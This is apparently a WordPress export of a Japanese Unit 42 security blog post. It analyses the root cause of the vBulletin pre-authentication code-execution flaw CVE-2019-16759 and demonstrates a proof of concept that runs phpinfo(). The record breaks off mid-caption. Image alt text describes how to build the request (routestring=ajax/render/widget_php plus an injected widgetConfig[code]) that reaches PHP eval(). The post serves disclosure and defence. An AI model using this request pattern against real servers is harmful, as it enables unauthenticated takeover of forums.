{"id":100130,"date":"2019-10-09T20:12:00","date_gmt":"2019-10-10T03:12:00","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=100130\/"},"modified":"2019-10-09T20:12:00","modified_gmt":"2019-10-10T03:12:00","slug":"exploits-in-the-wild-for-vbulletin-pre-auth-rce-vulnerability-cve-2019-16759","status":"publish","type":"post","link":"https:\/\/unit42.paloaltonetworks.com\/ja\/exploits-in-the-wild-for-vbulletin-pre-auth-rce-vulnerability-cve-2019-16759\/","title":{"rendered":"vBulletin \u306b\u304a\u3051\u308b\u5165\u529b\u78ba\u8a8d\u306b\u95a2\u3059\u308b\u8106\u5f31\u6027(CVE-2019-16759)\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u72b6\u6cc1"},"content":{"rendered":"<h2>\u6982\u8981<\/h2>\n<p>2019\u5e749\u670824\u65e5(\u7c73\u56fd\u6642\u9593)\u306bvBulletin\u306e\u65b0\u3057\u3044\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u304c<a href=\"https:\/\/seclists.org\/fulldisclosure\/2019\/Sep\/31\">\u516c\u958b\u3055\u308c<\/a>\u307e\u3057\u305f\u3002vBulletin\u306f\u30d7\u30ed\u30d7\u30e9\u30a4\u30a8\u30bf\u30ea\u306a\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u30d5\u30a9\u30fc\u30e9\u30e0\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u3067\u3001\u5f53\u8a72\u8106\u5f31\u6027\u306b\u5272\u308a\u5f53\u3066\u3089\u308c\u305fCVE\u756a\u53f7\u306fCVE-2019-16759\u3067\u3059\u3002\u516c\u958b\u304b\u3089\u6570\u9031\u9593\u304c\u7d4c\u904e\u3057\u3001Unit 42\u306e\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u306f\u3001\u540c\u8106\u5f31\u6027\u304c\u7a4d\u6975\u7684\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u72b6\u6cc1\u3092\u78ba\u8a8d\u3057\u3066\u3044\u307e\u3059\u3002\u5b9f\u884c\u4e2d\u306evBulletin\u30b5\u30fc\u30d0\u30fc\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u304c5.0.0\u304b\u30895.5.4\u3067\u3042\u308b\u5834\u5408\u3001\u540c\u8106\u5f31\u6027\u306e\u60aa\u7528\u306b\u3088\u308a\u8a8d\u8a3c\u3092\u53d7\u3051\u3066\u3044\u306a\u3044\u653b\u6483\u8005\u304c\u7279\u6a29\u30a2\u30af\u30bb\u30b9\u3084\u5236\u5fa1\u3092\u53d6\u5f97\u3057\u3001vBulletin\u30b5\u30fc\u30d0\u30fc\u306e\u6b63\u5f53\u306a\u6240\u6709\u8005\u304c\u81ea\u30b5\u30a4\u30c8\u306b\u30a2\u30af\u30bb\u30b9\u3067\u304d\u306a\u304f\u306a\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<a href=\"https:\/\/www.vbulletin.com\/\">10\u4e07\u4ef6\u4ee5\u4e0a\u306e\u30b5\u30a4\u30c8<\/a>\u304c\u3001\u4e3b\u8981\u306a\u4f01\u696d\u3084\u7d44\u7e54\u306e\u30d5\u30a9\u30fc\u30e9\u30e0\u3092\u542b\u3081\u3066vBulletin\u4e0a\u306b\u69cb\u7bc9\u3055\u308c\u3066\u3044\u307e\u3059\u306e\u3067\u3001\u8a72\u5f53\u7d44\u7e54\u306f\u305f\u3060\u3061\u306b\u4fee\u6b63\u30d7\u30ed\u30b0\u30e9\u30e0\u3092\u9069\u7528\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<p>\u672c\u7a3f\u3067\u306f\u3001\u8106\u5f31\u6027\u306e\u6839\u672c\u8981\u56e0\u306b\u95a2\u3059\u308b\u65b0\u3057\u3044\u8a73\u7d30\u3001\u8106\u5f31\u6027\u3092\u5b9f\u8a3c\u3059\u308b\u6982\u5ff5\u5b9f\u8a3c\u30b3\u30fc\u30c9\uff08PoC\uff09\u3001\u5f0a\u793e\u3067\u5b9f\u969b\u306b\u89b3\u6e2c\u3057\u305f\u653b\u6483\u95a2\u9023\u60c5\u5831\u3092\u5171\u6709\u3057\u307e\u3059\u3002<\/p>\n<h2><a id=\"post-99727-_f06l535a8hdn\"><\/a>\u8106\u5f31\u6027\u306e\u6839\u672c\u8981\u56e0\u5206\u6790<\/h2>\n<p>\u672c\u8106\u5f31\u6027\u306fCVSS v3.1\u30d9\u30fc\u30b9\u3067\u30b9\u30b3\u30a29.8(\u7dca\u6025)\u3068\u8a55\u4fa1\u3055\u308c\u305f\u8a8d\u8a3c\u524d\u306e\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u304a\u3051\u308b\u8106\u5f31\u6027\u3067\u3001vBulletin\u30d0\u30fc\u30b8\u30e7\u30f35.0.0\u3067\u5c0e\u5165\u3055\u308c\u305fAjax\u306e\u30ec\u30f3\u30c0\u30ea\u30f3\u30b0\u6a5f\u80fd\u306b\u3088\u308bPHP\u30b5\u30fc\u30d0\u30fc\u30b5\u30a4\u30c9 \u30c6\u30f3\u30d7\u30ec\u30fc\u30c8 \u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306b\u305d\u306e\u539f\u56e0\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<p>\u30a8\u30f3\u30c8\u30ea \u30dd\u30a4\u30f3\u30c8\u3068\u306a\u308b\u30b3\u30fc\u30c9\u306f<span style=\"font-family: 'courier new', courier, monospace;\">index.php<\/span>\u306b\u3042\u308a\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_100000\" aria-describedby=\"caption-attachment-100000\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-1.-Entry-Point-of-the-vulnerability-index.php_-1.png\" rel=\"wpdevart_lightbox\"><img  class=\"wp-image-100000 lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-1.-Entry-Point-of-the-vulnerability-index.php_-1.png\" sizes=\"(max-width: 600px) 100vw, 600px\" srcset=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-1.-Entry-Point-of-the-vulnerability-index.php_-1.png 535w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-1.-Entry-Point-of-the-vulnerability-index.php_-1-300x80.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-1.-Entry-Point-of-the-vulnerability-index.php_-1-370x99.png 370w\" alt=\"\u56f31 \u8106\u5f31\u6027\u306e\u30a8\u30f3\u30c8\u30ea\u30dd\u30a4\u30f3\u30c8\uff08index.php\uff09\" width=\"600\" height=\"160\" \/><\/a><figcaption id=\"caption-attachment-100000\" class=\"wp-caption-text\">\u56f31 \u8106\u5f31\u6027\u306e\u30a8\u30f3\u30c8\u30ea\u30dd\u30a4\u30f3\u30c8\uff08index.php\uff09<\/figcaption><\/figure>\n<p>\u3053\u306e\u30b3\u30fc\u30c9\u306f\u3001<span style=\"font-family: 'courier new', courier, monospace;\">vB5_Frontend_ApplicationLight::isQuickRoute()<\/span>\u3092\u547c\u3073\u51fa\u3057\u3066\u3001\u30ea\u30af\u30a8\u30b9\u30c8\u304c\u300c\u30af\u30a4\u30c3\u30af\u30eb\u30fc\u30c8\u300d\u3067\u3042\u308b\u304b\u3069\u3046\u304b\u3092\u78ba\u8a8d\u3057\u3066\u3044\u307e\u3059\u3002\u30e1\u30bd\u30c3\u30c9<span style=\"font-family: 'courier new', courier, monospace;\">isQuickRoute()<\/span>\u306f<span style=\"font-family: 'courier new', courier, monospace;\">includes\/vb5\/frontend\/applicationlight.php<\/span>\u5185\u306b\u3042\u308a\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_100010\" aria-describedby=\"caption-attachment-100010\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-2.-isQuickRoute-function.png\" rel=\"wpdevart_lightbox\"><img  class=\"wp-image-100010 lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-2.-isQuickRoute-function.png\" sizes=\"(max-width: 600px) 100vw, 600px\" srcset=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-2.-isQuickRoute-function.png 1234w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-2.-isQuickRoute-function-300x205.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-2.-isQuickRoute-function-768x524.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-2.-isQuickRoute-function-1024x699.png 1024w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-2.-isQuickRoute-function-900x614.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-2.-isQuickRoute-function-370x252.png 370w\" alt=\"\u56f32 isQuickRoute()\u95a2\u6570 (includes\/vb5\/frontend\/applicationlight.php)\" width=\"600\" height=\"409\" \/><\/a><figcaption id=\"caption-attachment-100010\" class=\"wp-caption-text\">\u56f32 isQuickRoute()\u95a2\u6570 (includes\/vb5\/frontend\/applicationlight.php)<\/figcaption><\/figure>\n<p>\u56f32\u306b\u793a\u3057\u305f\u3088\u3046\u306b\u3001\u3053\u306e\u95a2\u6570\u3067\u306f\u3001\u30ea\u30af\u30a8\u30b9\u30c8\u306e\u5148\u982d\u306b\"<span style=\"font-family: 'courier new', courier, monospace;\">ajax\/api<\/span>''\u304b\"<span style=\"font-family: 'courier new', courier, monospace;\">ajax\/render<\/span>\"\u304c\u3042\u308c\u3070\u771f\u3092\u8fd4\u3057\u307e\u3059\u3002\u305d\u306e\u5f8c<span style=\"font-family: 'courier new', courier, monospace;\">vB5_Frontend_ApplicationLight<\/span>\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u304c\u521d\u671f\u5316\u3055\u308c\u3001\u5b9f\u884c\u3055\u308c\u307e\u3059(\u56f31\u53c2\u7167)\u3002<\/p>\n<figure id=\"attachment_100003\" aria-describedby=\"caption-attachment-100003\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-3.-Ajax-render-handler-includesvb5frontendapplicationlight.php_.png\" rel=\"wpdevart_lightbox\"><img  class=\"wp-image-100003 lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-3.-Ajax-render-handler-includesvb5frontendapplicationlight.php_.png\" sizes=\"(max-width: 600px) 100vw, 600px\" srcset=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-3.-Ajax-render-handler-includesvb5frontendapplicationlight.php_.png 1526w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-3.-Ajax-render-handler-includesvb5frontendapplicationlight.php_-300x195.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-3.-Ajax-render-handler-includesvb5frontendapplicationlight.php_-768x500.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-3.-Ajax-render-handler-includesvb5frontendapplicationlight.php_-1024x667.png 1024w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-3.-Ajax-render-handler-includesvb5frontendapplicationlight.php_-900x586.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-3.-Ajax-render-handler-includesvb5frontendapplicationlight.php_-370x241.png 370w\" alt=\"\u56f33 Ajax\u306e\u30ec\u30f3\u30c0\u30ea\u30f3\u30b0 \u30cf\u30f3\u30c9\u30e9\uff08includes\/vb5\/frontend\/applicationlight.php\uff09\" width=\"600\" height=\"391\" \/><\/a><figcaption id=\"caption-attachment-100003\" class=\"wp-caption-text\">\u56f33 Ajax\u306e\u30ec\u30f3\u30c0\u30ea\u30f3\u30b0 \u30cf\u30f3\u30c9\u30e9\uff08includes\/vb5\/frontend\/applicationlight.php\uff09<\/figcaption><\/figure>\n<p>\u56f33\u306f\u3001\u30ea\u30af\u30a8\u30b9\u30c8\u304c\"<span style=\"font-family: 'courier new', courier, monospace;\">ajax\/render<\/span>\"\u3067\u59cb\u307e\u308b\u5834\u5408\u3001\u30cf\u30f3\u30c9\u30e9\u304c\"<span style=\"font-family: 'courier new', courier, monospace;\">callRender<\/span>\"\u306b\u8a2d\u5b9a\u3055\u308c\u308b\u3053\u3068\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_100005\" aria-describedby=\"caption-attachment-100005\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-4.-callRender-renders-the-template-includesvb5frontendapplicationlight.php_.png\" rel=\"wpdevart_lightbox\"><img  class=\"wp-image-100005 lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-4.-callRender-renders-the-template-includesvb5frontendapplicationlight.php_.png\" sizes=\"(max-width: 600px) 100vw, 600px\" srcset=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-4.-callRender-renders-the-template-includesvb5frontendapplicationlight.php_.png 1506w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-4.-callRender-renders-the-template-includesvb5frontendapplicationlight.php_-300x108.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-4.-callRender-renders-the-template-includesvb5frontendapplicationlight.php_-768x277.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-4.-callRender-renders-the-template-includesvb5frontendapplicationlight.php_-1024x370.png 1024w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-4.-callRender-renders-the-template-includesvb5frontendapplicationlight.php_-900x325.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-4.-callRender-renders-the-template-includesvb5frontendapplicationlight.php_-370x134.png 370w\" alt=\"\u56f34 callRender() \u304c\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u3092\u30ec\u30f3\u30c0\u30ea\u30f3\u30b0\u3059\u308b (includes\/vb5\/frontend\/applicationlight.php)\" width=\"600\" height=\"217\" \/><\/a><figcaption id=\"caption-attachment-100005\" class=\"wp-caption-text\">\u56f34 callRender() \u304c\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u3092\u30ec\u30f3\u30c0\u30ea\u30f3\u30b0\u3059\u308b (includes\/vb5\/frontend\/applicationlight.php)<\/figcaption><\/figure>\n<p>\u56f34\u306f\u3001<span style=\"font-family: 'courier new', courier, monospace;\">callRender()<\/span>\u95a2\u6570\u304c\u3001<span style=\"font-family: 'courier new', courier, monospace;\">$routeInfo[2]<\/span>\u3068<span style=\"font-family: 'courier new', courier, monospace;\">array_merge($_POST, $GET)<\/span> \u304b\u3089\u306e<span style=\"font-family: 'courier new', courier, monospace;\">$params<\/span>\u3092\u5229\u7528\u3057\u3066\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u3092\u30ec\u30f3\u30c0\u30ea\u30f3\u30b0\u3059\u308b\u69d8\u5b50\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_99997\" aria-describedby=\"caption-attachment-99997\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Fig-5-1.png\" rel=\"wpdevart_lightbox\"><img  class=\"wp-image-99997 lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Fig-5-1.png\" sizes=\"(max-width: 600px) 100vw, 600px\" srcset=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Fig-5-1.png 2328w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Fig-5-1-300x89.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Fig-5-1-768x229.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Fig-5-1-1024x305.png 1024w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Fig-5-1-900x268.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Fig-5-1-370x110.png 370w\" alt=\"\u56f35 widget_php \u30c6\u30f3\u30d7\u30ec\u30fc\u30c8 (core\/install\/vbulletin-style.xml)\" width=\"600\" height=\"179\" \/><\/a><figcaption id=\"caption-attachment-99997\" class=\"wp-caption-text\">\u56f35 widget_php \u30c6\u30f3\u30d7\u30ec\u30fc\u30c8 (core\/install\/vbulletin-style.xml)<\/figcaption><\/figure>\n<p>\u56f35\u306f\u3001vbulletin-style.xml\u30d5\u30a1\u30a4\u30eb\u5185\u306b<span style=\"font-family: 'courier new', courier, monospace;\">\"widget_php\"<\/span>\u3068\u3044\u3046\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u304c\u3042\u308b\u3053\u3068\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u306b\u3088\u308c\u3070\u3001<span style=\"font-family: 'courier new', courier, monospace;\">$widgetConfig['code']<\/span>\u304c\u7a7a\u3067\u306a\u304f\u3001\u304b\u3064<span style=\"font-family: 'courier new', courier, monospace;\">$vboptions['disable_php_rendering']<\/span>\u304c\u8a2d\u5b9a\u3055\u308c\u3066\u3044\u306a\u3051\u308c\u3070\u3001\u6b21\u306e\u30b3\u30fc\u30c9\u304c\u5b9f\u884c\u3055\u308c\u308b\u3053\u3068\u306b\u306a\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n<pre class=\"\">{vb:action evaledPHP, bbcode, evalCode, {vb:raw \r\nwidgetConfig.code}}\r\n               {vb:raw $evaledPHP}\r\n<\/pre>\n<figure id=\"attachment_100007\" aria-describedby=\"caption-attachment-100007\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-6.-evalCode-function.png\" rel=\"wpdevart_lightbox\"><img  class=\"wp-image-100007 lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-6.-evalCode-function.png\" sizes=\"(max-width: 600px) 100vw, 600px\" srcset=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-6.-evalCode-function.png 458w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-6.-evalCode-function-300x83.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-6.-evalCode-function-370x102.png 370w\" alt=\"\u56f36 evalCode()\u95a2\u6570 (includes\/vb5\/frontend\/controller\/bbcode.php)\" width=\"600\" height=\"165\" \/><\/a><figcaption id=\"caption-attachment-100007\" class=\"wp-caption-text\">\u56f36 evalCode()\u95a2\u6570 (includes\/vb5\/frontend\/controller\/bbcode.php)<\/figcaption><\/figure>\n<p>\u56f36\u306f<span style=\"font-family: 'courier new', courier, monospace;\">evalCode()<\/span>\u95a2\u6570\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u304c\u3001\u3053\u3053\u3067<span style=\"font-family: 'courier new', courier, monospace;\">$code<\/span>\u5185\u306e\u30c6\u30ad\u30b9\u30c8\u306fPHP\u306e<span style=\"font-family: 'courier new', courier, monospace;\">eval()<\/span>\u95a2\u6570\u306b\u3088\u3063\u3066\u76f4\u63a5\u5b9f\u884c\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><img  class=\"alignleft wp-image-100133 size-full lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/screenshot.png\" alt=\"\u3064\u307e\u308a\u3001&quot;routestring=ajax\/render\/widget_php&quot;\u3068&quot;widgetConfig[code]=(\u4f55\u3089\u304b\u306e\u60aa\u610f\u306e\u3042\u308b\u5165\u529b\u5185\u5bb9)\u3068\u3044\u3046\u5185\u5bb9\u306eparams\u3092\u3082\u3064\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u7d44\u307f\u7acb\u3066\u308b\u3053\u3068\u304c\u3067\u304d\u308c\u3070\u3001widgetConfig[code]\u4ee5\u964d\u306e\u30d1\u30e9\u30e1\u30fc\u30bf\u3092PHP\u30b3\u30fc\u30c9\u3068\u3057\u3066\u5b9f\u884c\u3055\u305b\u3089\u308c\u308b\u3053\u3068\u306b\u306a\u308a\u307e\u3059\u3002\u3053\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u306f\u8a8d\u8a3c\u306a\u3057\u306b\u5b9f\u884c\u3067\u304d\u308b\u305f\u3081\u3001\u3053\u308c\u304c\u8a8d\u8a3c\u524d\u306e\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u8106\u5f31\u6027\u306b\u3064\u306a\u304c\u308a\u307e\u3059\u3002\" width=\"922\" height=\"119\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/screenshot.png 922w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/screenshot-300x39.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/screenshot-768x99.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/screenshot-900x116.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/screenshot-370x48.png 370w\" sizes=\"(max-width: 922px) 100vw, 922px\" \/><\/p>\n<p>&nbsp;<\/p>\n<h2><a id=\"post-99727-_3x8zhhmnhcll\"><\/a>PoC<\/h2>\n<p>\u4ee5\u4e0a\u306e\u5206\u6790\u306b\u3082\u3068\u3065\u3044\u3066\u3001\u8106\u5f31\u6027\u304c\u6a5f\u80fd\u3059\u308b\u3053\u3068\u3092\u8a3c\u660e\u3059\u308b\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u30b3\u30fc\u30c9\u3092\u7d44\u307f\u7acb\u3066\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u30d1\u30e9\u30e1\u30fc\u30bf\u30fc\"<span style=\"font-family: 'courier new', courier, monospace;\">routestring<\/span>\"\u306f<span style=\"font-family: 'courier new', courier, monospace;\">$_REQUEST<\/span>\u304b\u3089\u304d\u3066\u3044\u308b\u306e\u3067\u3001HTTP\u30e1\u30bd\u30c3\u30c9<span style=\"font-family: 'courier new', courier, monospace;\">$_GET<\/span>\u3001<span style=\"font-family: 'courier new', courier, monospace;\">$_POST<\/span>\u3001<span style=\"font-family: 'courier new', courier, monospace;\">$_COOKIE<\/span>\u306e\u3044\u305a\u308c\u304b\u3092\u4ecb\u3057\u3066\u9001\u4fe1\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u307e\u305f\u3001\"<span style=\"font-family: 'courier new', courier, monospace;\">widgetConfig[code]<\/span>\"\u306f<span style=\"font-family: 'courier new', courier, monospace;\">$_GET<\/span>\u3068<span style=\"font-family: 'courier new', courier, monospace;\">$_POST<\/span>\u3092\u4ecb\u3057\u3066\u9001\u4fe1\u3067\u304d\u307e\u3059\u3002\u305d\u306e\u305f\u3081\u3001\u3053\u3053\u3067\u306f\u5358\u7d14\u306aPoC\u3068\u3057\u3066\u6b21\u306e\u30b3\u30fc\u30c9\u3092\u7d44\u307f\u3001GET\u30ea\u30af\u30a8\u30b9\u30c8\u304bPOST\u30ea\u30af\u30a8\u30b9\u30c8\u304b\u3067\u9001\u4fe1\u3059\u308b\u3053\u3068\u306b\u3057\u307e\u3059\u3002<\/p>\n<p><img  class=\"wp-image-100033 size-full alignleft lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/PoC-Code.png\" sizes=\"(max-width: 683px) 100vw, 683px\" srcset=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/PoC-Code.png 683w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/PoC-Code-300x18.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/PoC-Code-370x23.png 370w\" alt=\"\" width=\"683\" height=\"42\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<figure id=\"attachment_100013\" aria-describedby=\"caption-attachment-100013\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-7.-Vulnerability-demonstrated-through-a-GET-request.jpeg\" rel=\"wpdevart_lightbox\"><img  class=\"wp-image-100013 lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-7.-Vulnerability-demonstrated-through-a-GET-request.jpeg\" sizes=\"(max-width: 600px) 100vw, 600px\" srcset=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-7.-Vulnerability-demonstrated-through-a-GET-request.jpeg 2500w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-7.-Vulnerability-demonstrated-through-a-GET-request-300x244.jpeg 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-7.-Vulnerability-demonstrated-through-a-GET-request-768x625.jpeg 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-7.-Vulnerability-demonstrated-through-a-GET-request-1024x834.jpeg 1024w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-7.-Vulnerability-demonstrated-through-a-GET-request-900x733.jpeg 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-7.-Vulnerability-demonstrated-through-a-GET-request-370x301.jpeg 370w\" alt=\"\u56f37 GET\u30ea\u30af\u30a8\u30b9\u30c8\u306b\u3088\u308b\u8106\u5f31\u6027\u5b9f\u8a3c\" width=\"600\" height=\"488\" \/><\/a><figcaption id=\"caption-attachment-100013\" class=\"wp-caption-text\">\u56f37 GET\u30ea\u30af\u30a8\u30b9\u30c8\u306b\u3088\u308b\u8106\u5f31\u6027\u5b9f\u8a3c<\/figcaption><\/figure>\n<p>\u56f37\u306f\u3001GET\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u4ecb\u3057\u3066PoC\u30b3\u30fc\u30c9\u304c\u9001\u4fe1\u3055\u308c\u3001<span style=\"font-family: 'courier new', courier, monospace;\">phpinfo()<\/span>\u304c\u5b9f\u884c\u3055\u308c\u305f\u69d8\u5b50\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_100016\" aria-describedby=\"caption-attachment-100016\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-8.-PoC-through-POST-request.png\" rel=\"wpdevart_lightbox\"><img  class=\"wp-image-100016 lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-8.-PoC-through-POST-request.png\" sizes=\"(max-width: 600px) 100vw, 600px\" srcset=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-8.-PoC-through-POST-request.png 2202w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-8.-PoC-through-POST-request-300x152.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-8.-PoC-through-POST-request-768x389.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-8.-PoC-through-POST-request-1024x519.png 1024w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-8.-PoC-through-POST-request-900x456.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/10\/Figure-8.-PoC-through-POST-request-370x188.png 370w\" alt=\"\u56f38 POST\u30ea\u30af\u30a8\u30b9\u30c8\u306b\u3088\u308b\u8106\u5f31\u6027\u5b9f\u8a3c\" width=\"600\" height=\"304\" \/><\/a><figcaption id=\"caption-attachment-100016\" class=\"wp-caption-text\">\u56f38 